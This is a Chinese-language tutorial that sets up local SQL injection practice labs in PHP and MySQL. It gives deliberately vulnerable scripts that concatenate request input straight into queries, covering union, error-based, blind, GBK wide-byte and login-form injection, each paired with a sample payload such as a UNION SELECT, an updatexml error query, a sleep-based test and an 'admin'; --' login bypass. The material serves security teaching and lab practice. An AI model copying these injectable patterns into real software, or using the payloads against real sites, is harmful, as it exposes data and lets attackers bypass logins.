常見的sql注入環境搭建
By : Mirror王宇陽
Time:2020-01-06
PHP+MySQL摘要
$conn = new mysqli('數據庫服務器','username','password','database');
$conn = mysqli_connect('數據庫服務器','username','password','database');
// 參數內容可以單獨設置為一個變量引用
$sql = "*****";//sql命令
mysqli_query($conn,$sql);
// 函數返回true/false
$sql = "***1;";
$sql .= "***2;";
$sql .= "****;";//多條sql之間用分號間隔
mysqli_multi_query($conn,$sql);//執行多條sql
mysqli_select_db(connect,db_name);//查詢db_name庫
or die();//錯誤信息控制輸出函數 die()會輸出信息並退出當前腳本
mysqli_error();//返回報錯信息
常規回顯注入
回顯注入類型是指我們的查詢內容會被應用回顯到頁面中;一般情況下回顯注入回利用UNION聯合函數來測試是否存在注入“ union select ……
”
<?php
echo '<h1>';
echo 'SQL常規回顯注入環境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 連接mysql
if (!$conn){//判斷連接是否成功
echo '連接MySQL發生錯誤:'.mysqli_error($conn);
}else{
echo '成功連接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查詢庫,or die(str) -- 上一個函數執行錯誤則輸出str
mysqli_select_db($conn, 'text') or die ("無法正確連接到數據庫!");
// mysqli_query() -- 執行sql命令
// set names utf-8 -- 寫入數據庫采用的編碼(utf-8)
mysqli_query($conn, 'set names utf-8');
// 接收參數text
if(isset($_GET['text'])){
$text=$_GET['text'];
}
// 拼接sql語句並執行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接結果:'.$sql;
echo '<hr>';
// 執行sql語句並返回結果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回顯結果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
' union select 1,database(),version(),4; -- +
報錯注入
報錯注入類型是泛指應用頁面不返回內容數據,無法從回顯結果獲得信息;但是一般應用都會保留SQL的查詢報錯mysqli_error()
通過“extractvalue
UpdateXml
foot
”等函數來查詢,但是無法查詢到結果並會通過報錯的方式返回結果。
<?php
echo '<h1>';
echo 'SQL報錯注入環境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 連接mysql
if (!$conn){//判斷連接是否成功
echo '連接MySQL發生錯誤:'.mysqli_error($conn);
}else{
echo '成功連接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查詢庫,or die(str) -- 上一個函數執行錯誤則輸出str
mysqli_select_db($conn, 'text') or die ("無法正確連接到數據庫!");
// mysqli_query() -- 執行sql命令
// set names utf-8 -- 寫入數據庫采用的編碼(utf-8)
mysqli_query($conn, 'set names utf-8');
if(isset($_GET['text'])){
$text=$_GET['text'];// 接收參數text
}
$sql = "SELECT * FROM admin WHERE uid = '$text';";
echo $sql."<hr>";
$result = mysqli_query($conn, $sql )
or die( '<pre>' . mysqli_error($conn) . '</pre>');
//mysqli_error -- 返回最近調用函數的最后一個錯誤描述
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if($row){
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
' and updatexml(1,concat(0x7e,database(),0x7e,version()),1); -- +
盲注
盲注類型泛指無法利用回顯測試等情況,進行的一種sql注入測試方法。
盲注主要分為兩種:
- 布爾盲注:通過判斷頁面響應確定是否正確的布爾sql拼接。
- 時間盲注:通過sql查詢的時間延遲
sleep
函數來測定構造的布爾sql是否成立。
<?php
echo '<h1>';
echo 'SQL常規盲注環境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 連接mysql
if (!$conn){//判斷連接是否成功
echo '連接MySQL發生錯誤:'.mysqli_error($conn);
}else{
echo '成功連接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查詢庫,or die(str) -- 上一個函數執行錯誤則輸出str
mysqli_select_db($conn, 'text') or die ("無法正確連接到數據庫!");
// mysqli_query() -- 執行sql命令
// set names utf-8 -- 寫入數據庫采用的編碼(utf-8)
mysqli_query($conn, 'set names utf-8');
if(isset($_GET['text'])){
$text=$_GET['text'];// 接收參數text
}
$sql = "SELECT * FROM admin WHERE uid = '$text';";
echo $sql."<hr>";
$result = mysqli_query($conn, $sql ) ;
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if($row){
echo '查詢結果存在!';
// echo '查詢完成';
} else {
echo '查詢結果不存在!';
// echo '查詢完成';
}
/*
如上源碼,當echo返回結果為第一類情況則適用布爾盲注的方法不斷的猜結
當echo返回結果為第二類情況則適用時間盲注,通過時間延遲的方式來判斷布爾結果並不斷的猜解
*/
?>
- 布爾盲注測試
' or left(database(),2)='te'; -- +
- 時間盲注測試
if(ascii(substr(database(),1,1))='t',1,sleep(10)); -- +
寬字節注入
環境構造注意:該注入環境要求mysql數據庫采用GBK編碼;寬字節注入與HTML頁面編碼是無關的,即HTML頁面是UTF-8編碼,只要mysql是GBK都可以存在寬字節注入;
參考文章:PHP寬字節注入 淺談對寬字節注入的認知
<?php
echo '<h1>';
echo 'SQL寬字節注入環境';
echo '</h1>';
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 連接mysql
if (!$conn){//判斷連接是否成功
echo '連接MySQL發生錯誤:'.mysqli_error($conn);
}else{
echo '成功連接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查詢庫,or die(str) -- 上一個函數執行錯誤則輸出str
mysqli_select_db($conn, 'text') or die ("無法正確連接到數據庫!");
// mysqli_query() -- 執行sql命令
// set names utf-8 -- 寫入數據庫采用的編碼(utf-8)
mysqli_query($conn, 'set names gbk');
// 接收參數text
if(isset($_GET['text'])){
$text=$_GET['text'];
}
// 拼接sql語句並執行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接結果:'.$sql;
echo '<hr>';
// 執行sql語句並返回結果
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回顯結果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
}
?>
登錄框注入
登錄框注入泛指sql直接無任何的過濾直接拼接用戶名和密碼來從數據庫中直接查詢結果並實現登錄等系列功能;攻擊者利用這一缺陷,直接構造一個sql之后可以越過密碼的確認,也就是俗稱的萬能密碼“admin '--+
”
<!DOCTYPE html>
<html>
<head>
<title>SQL_login注入測試</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="./sql_login.php" method="post">
<div>
用戶名:<input type="text" name="name" />
</div>
<div>
密碼:<input type="password" name="pass" />
</div>
<input type="submit" value="提交" />
</form>
<div>
<?php
$conn=mysqli_connect('127.0.0.1', 'root', 'root');// 連接mysql
if (!$conn){//判斷連接是否成功
echo '連接MySQL發生錯誤:'.mysqli_error($conn);
}else{
echo '成功連接MySQL!';
}
echo '<hr>';
// mysqli_select_db() -- 查詢庫,or die(str) -- 上一個函數執行錯誤則輸出str
mysqli_select_db($conn, 'text') or die ("無法正確連接到數據庫!");
// mysqli_query() -- 執行sql命令
// set names utf-8 -- 寫入數據庫采用的編碼(utf-8)
mysqli_query($conn, 'set names utf-8');
// 接收參數name pass
$name=$_POST['name'];
$pass=$_POST['pass'];
// echo $name . "~" . $pass;
// 拼接sql語句並執行
$sql="SELECT * FROM admin WHERE name='$name' and pass='$pass' LIMIT 0,1";
echo 'SQL拼接結果:'.$sql;
echo '<hr>';
// 執行sql語句並返回結果
if($result=mysqli_query($conn, $sql)){
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){ //回顯結果
echo '<table>';
echo '<tr>';
echo '<td>UID</td><td>NAME</td><td>PASS</td>';
echo '</tr><tr>';
echo '<td>'.$row['uid'].'</td>';
echo '<td>'.$row['name'].'</td>';
echo '<td>'.$row['pass'].'</td>';
echo '</tr>';
echo '</table>';
} else {
echo "用戶名或密碼錯誤";
}
}
?>
</div>
</body>
</html>
admin'; -- +